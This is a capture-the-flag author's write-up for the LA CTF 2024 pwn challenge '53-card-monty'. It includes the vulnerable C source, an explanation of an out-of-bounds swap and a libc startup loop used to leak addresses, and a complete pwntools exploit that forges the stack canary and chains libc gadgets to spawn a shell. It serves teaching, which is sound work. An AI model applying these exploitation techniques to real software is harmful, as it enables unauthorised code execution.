Introduction
53-card-monty is a challenge that I wrote for LA CTF 2024, based on an unintended solution to bliutech’s 52-card-monty challenge. Here’s the code for 52-card-monty:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#define DECK_SIZE 0x52
#define QUEEN 1111111111
void setup() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
srand(time(NULL));
}
void win() {
char flag[256];
FILE *flagfile = fopen("flag.txt", "r");
if (flagfile == NULL) {
puts("Cannot read flag.txt.");
} else {
fgets(flag, 256, flagfile);
flag[strcspn(flag, "\n")] = '\0';
puts(flag);
}
}
long lrand() {
long higher, lower;
higher = (((long)rand()) << 32);
lower = (long)rand();
return higher + lower;
}
void game() {
int index;
long leak;
long cards[52] = {0};
char name[20];
for (int i = 0; i < 52; ++i) {
cards[i] = lrand();
}
index = rand() % 52;
cards[index] = QUEEN;
printf("==============================\n");
printf("index of your first peek? ");
scanf("%d", &index);
leak = cards[index % DECK_SIZE];
cards[index % DECK_SIZE] = cards[0];
cards[0] = leak;
printf("Peek 1: %lu\n", cards[0]);
printf("==============================\n");
printf("index of your second peek? ");
scanf("%d", &index);
leak = cards[index % DECK_SIZE];
cards[index % DECK_SIZE] = cards[0];
cards[0] = leak;
printf("Peek 2: %lu\n", cards[0]);
printf("==============================\n");
printf("Show me the lady! ");
scanf("%d", &index);
printf("==============================\n");
if (cards[index] == QUEEN) {
printf("You win!\n");
} else {
printf("Just missed. Try again.\n");
}
printf("==============================\n");
printf("Add your name to the leaderboard.\n");
getchar();
printf("Name: ");
fgets(name, 52, stdin);
printf("==============================\n");
printf("Thanks for playing, %s!\n", name);
}
int main() {
setup();
printf("Welcome to 52-card monty!\n");
printf("The rules of the game are simple. You are trying to guess which card "
"is correct. You get two peeks. Show me the lady!\n");
game();
return 0;
}
The binary is compiled with stack canaries and PIE.
To solve the original challenge, we first leak the canary and PIE base address using the out-of-bounds read in the two peeks, then overwrite the return address with the win function address using the buffer overflow at the fgets call.
Unintended vulnerability
I realized that index % DECK_SIZE can be negative, which would allow us to swap a return address from a previous call into the return address of game, causing the function to loop back when it returns and leaking the address at the same time.
This made me think that it might be possible to solve this challenge even if the fgets call is changed so that it doesn’t overflow the buffer.
I tried doing this and it worked, but I wasn’t sure what to do next.
After the function loops back, it would execute with main’s stack frame since the prologue was skipped, and I had hoped that this would allow the fgets call to overwrite its own return address since rsp and rbp are closer together than normal.
However, it turns out rsp being equal to rbp in main’s stack frame actually makes it impossible for fgets to overwrite its return address regardless of how big the buffer is.
This is because the buffer has to end at least eight bytes before rbp since the canary is right before the saved rbp, and the return address of fgets would be in those eight bytes.
The funny loop
Later, I came up with the idea of overwriting the return address of main instead so that game executes with the stack frame of __libc_start_call_main, and I thought that this might allow fgets to overwrite its return address.
The Debian libc that I was using did not have frame pointers, so I switched to using a libc from Fedora.
I found out that with the Fedora libc, rsp and rbp are too far apart in __libc_start_call_main’s stack frame, but then something interesting happend:
When game returns again after looping back, the program somehow starts executing from the beginning again.
I later figured out that this is due to a coincidence with how the code of __libc_start_main (named __libc_start_main_impl in Fedora) is arranged.
Here’s the relevant code in __libc_start_main_impl:
0x00007ffff7e071d6 <+86>: test r14,r14
0x00007ffff7e071d9 <+89>: je 0x7ffff7e0720b <__libc_start_main_impl+139>
0x00007ffff7e071db <+91>: mov rsi,rbx
0x00007ffff7e071de <+94>: mov edi,r12d
0x00007ffff7e071e1 <+97>: call r14
0x00007ffff7e071e4 <+100>: mov r14,QWORD PTR [rip+0x1afdb5] # 0x7ffff7fb6fa0
0x00007ffff7e071eb <+107>: mov rdi,QWORD PTR [r14]
0x00007ffff7e071ee <+110>: call 0x7ffff7e057b0 <_dl_audit_preinit@plt>
0x00007ffff7e071f3 <+115>: test r13d,r13d
0x00007ffff7e071f6 <+118>: jne 0x7ffff7e07295 <__libc_start_main_impl+277>
0x00007ffff7e071fc <+124>: mov rdi,QWORD PTR [rbp-0x38]
0x00007ffff7e07200 <+128>: mov rdx,rbx
0x00007ffff7e07203 <+131>: mov esi,r12d
0x00007ffff7e07206 <+134>: call 0x7ffff7e070d0 <__libc_start_call_main>
0x00007ffff7e0720b <+139>: mov r14,QWORD PTR [rip+0x1afd8e] # 0x7ffff7fb6fa0
0x00007ffff7e07212 <+146>: mov r15,QWORD PTR [r14]
0x00007ffff7e07215 <+149>: mov rax,QWORD PTR [r15+0xa0]
0x00007ffff7e0721c <+156>: test rax,rax
0x00007ffff7e0721f <+159>: je 0x7ffff7e07238 <__libc_start_main_impl+184>
0x00007ffff7e07221 <+161>: mov QWORD PTR [rbp-0x40],rdx
0x00007ffff7e07225 <+165>: mov rax,QWORD PTR [rax+0x8]
0x00007ffff7e07229 <+169>: mov rsi,rbx
0x00007ffff7e0722c <+172>: mov edi,r12d
0x00007ffff7e0722f <+175>: add rax,QWORD PTR [r15]
0x00007ffff7e07232 <+178>: call rax
0x00007ffff7e07234 <+180>: mov rdx,QWORD PTR [rbp-0x40]
0x00007ffff7e07238 <+184>: mov rsi,QWORD PTR [r15+0x108]
0x00007ffff7e0723f <+191>: test rsi,rsi
0x00007ffff7e07242 <+194>: je 0x7ffff7e071eb <__libc_start_main_impl+107>
0x00007ffff7e07244 <+196>: mov rax,QWORD PTR [r15+0x118]
0x00007ffff7e0724b <+203>: mov rcx,QWORD PTR [r15]
0x00007ffff7e0724e <+206>: add rcx,QWORD PTR [rsi+0x8]
0x00007ffff7e07252 <+210>: mov rax,QWORD PTR [rax+0x8]
0x00007ffff7e07256 <+214>: shr rax,0x3
0x00007ffff7e0725a <+218>: test eax,eax
0x00007ffff7e0725c <+220>: je 0x7ffff7e071eb <__libc_start_main_impl+107>
__libc_start_call_main is marked _Noreturn, and for some reason the compiler decided to place some code that would normally be executed before the call to __libc_start_call_main after the instruction that does that call.
Normal execution would jump from offset +89 to +139, then it would jump from +194 back to +107 before calling __libc_start_call_main.
When game returns with the stack frame of __libc_start_call_main, the effect is as if __libc_start_call_main returned.
Execution would reach the backwards jump and loop back, then __libc_start_call_main gets called again, resulting in the program starting from the beginning.
I called this the funny loop, since it was kind of funny.
It allows us to leak more values and it works multiple times, although my final solve script only does it once.
We can first leak the PIE base address, the canary, and the stack address, then make fgets overwrite its own saved rbp to point between a forged canary and the win function address that we put in the buffer.
When game returns, the canary check will pass because of the forged canary and it will return to the win function.
I realized that it might be possible to solve this without using the funny loop by partially overwriting the saved rbp instead of leaking the stack address, so at enzocut’s suggestion I removed the win function to force people to leak libc.
Popping a shell
I looked at the one gadgets in the libc and found that none of them have their conditions already satisfied when game returns with the overwritten rbp, so we need a ROP gadget.
I decided to use this one gadget:
0xde6a2 execve("/bin/sh", rbp-0x40, r12)
constraints:
address rbp-0x38 is writable
rdi == NULL || {"/bin/sh", rdi, NULL} is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp
And I cleared rdi with this gadget in libc:
0x000000000c5295: xor edi, edi; mov eax, edi; ret;
For the rbp and r12 constraints, I noticed that both of these registers get set to the value that the overwritten rbp points to.
This is because rbp gets overwritten by the leave instruction at the end of game and the saved r12 of fgets happens to be at the same address.
To satisfy both constraints, I used a stack pointer that pointed to NULL.
I changed the buffer size a bit to make this work out.
Here’s the final source code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#define DECK_SIZE 0x52
#define QUEEN 1111111111
void setup() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
srand(time(NULL));
}
long lrand() {
long higher, lower;
higher = (((long)rand()) << 32);
lower = (long)rand();
return higher + lower;
}
void game() {
int index;
long leak;
long cards[52] = {0};
char name[40];
for (int i = 0; i < 52; ++i) {
cards[i] = lrand();
}
index = rand() % 52;
cards[index] = QUEEN;
printf("==============================\n");
printf("index of your first peek? ");
scanf("%d", &index);
leak = cards[index % DECK_SIZE];
cards[index % DECK_SIZE] = cards[0];
cards[0] = leak;
printf("Peek 1: %lu\n", cards[0]);
printf("==============================\n");
printf("index of your second peek? ");
scanf("%d", &index);
leak = cards[index % DECK_SIZE];
cards[index % DECK_SIZE] = cards[0];
cards[0] = leak;
printf("Peek 2: %lu\n", cards[0]);
printf("==============================\n");
printf("Show me the lady! ");
scanf("%d", &index);
printf("==============================\n");
if (cards[index] == QUEEN) {
printf("You win!\n");
} else {
printf("Just missed. Try again.\n");
}
printf("==============================\n");
printf("Add your name to the leaderboard.\n");
getchar();
printf("Name: ");
fgets(name, 40, stdin);
printf("==============================\n");
printf("Thanks for playing, %s!\n", name);
}
int main() {
setup();
printf("Welcome to 52-card monty!\n");
printf("The rules of the game are simple. You are trying to guess which card "
"is correct. You get two peeks. Show me the lady!\n");
game();
return 0;
}
And here’s my solve script:
#!/usr/bin/env python3
from pwn import *
exe = ELF("./monty_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
context.binary = exe
if args.REMOTE:
r = remote("chall.lac.tf", 31133)
else:
r = process([exe.path])
if args.GDB:
gdb.attach(r)
# Swap leftover return address into cards[0] and leak it
r.sendlineafter(b'peek?', b'-3')
r.recvuntil(b'1: ')
exe.address = int(r.recvline(keepends=False)) - 0x1333
log.info(f"{hex(exe.address)=}")
# Swap cards[0] into return address of main and leak the return address of main
r.sendlineafter(b'peek?', b'61')
r.recvuntil(b'2: ')
libc.address = int(r.recvline(keepends=False)) - 0x2814a
log.info(f"{hex(libc.address)=}")
r.sendlineafter(b'lady! ', b'0')
r.sendlineafter(b'Name: ', b'')
# Execution loops back to the middle of the game function because the return address of main
# Leak canary
r.sendlineafter(b'peek?', b'15')
r.recvuntil(b'2: ')
canary = int(r.recvline(keepends=False))
log.info(f"{hex(canary)=}")
r.sendlineafter(b'lady! ', b'0')
r.sendlineafter(b'Name: ', b'')
# Program starts from the beginning again due to the funny loop
# Swap leftover return address into return address of game
r.sendlineafter(b'peek?', b'-3')
r.sendlineafter(b'peek?', b'59')
r.sendlineafter(b'lady! ', b'0')
r.sendlineafter(b'Name: ', b'')
# Leak stack
r.sendlineafter(b'peek?', b'0')
r.recvuntil(b'2: ')
stack = int(r.recvline(keepends=False))
log.info(f"{hex(stack)=}")
r.sendlineafter(b'lady! ', b'0')
# Forged canary
pl = p64(canary)
# Set r12 and rbp to stack pointer that points to null
pl += p64(stack + 0x1d0)
# Gadget to clear rdi
pl += p64(libc.address + 0xc5295)
# One gadget
pl += p64(libc.address + 0xde6a2)
# Overwrite saved rbp to point to the buffer
pl += p64(stack + 0x100)
r.sendafter(b'Name: ', pl)
r.interactive()
Conclusion
I’m really amazed by the fact that such a cool solution is possible since it relys on multiple unintended behaviors that just happen to work out. If you solved this challenge in a different way, I would love to hear about it. I hope you enjoyed LA CTF 2024 and learned something new!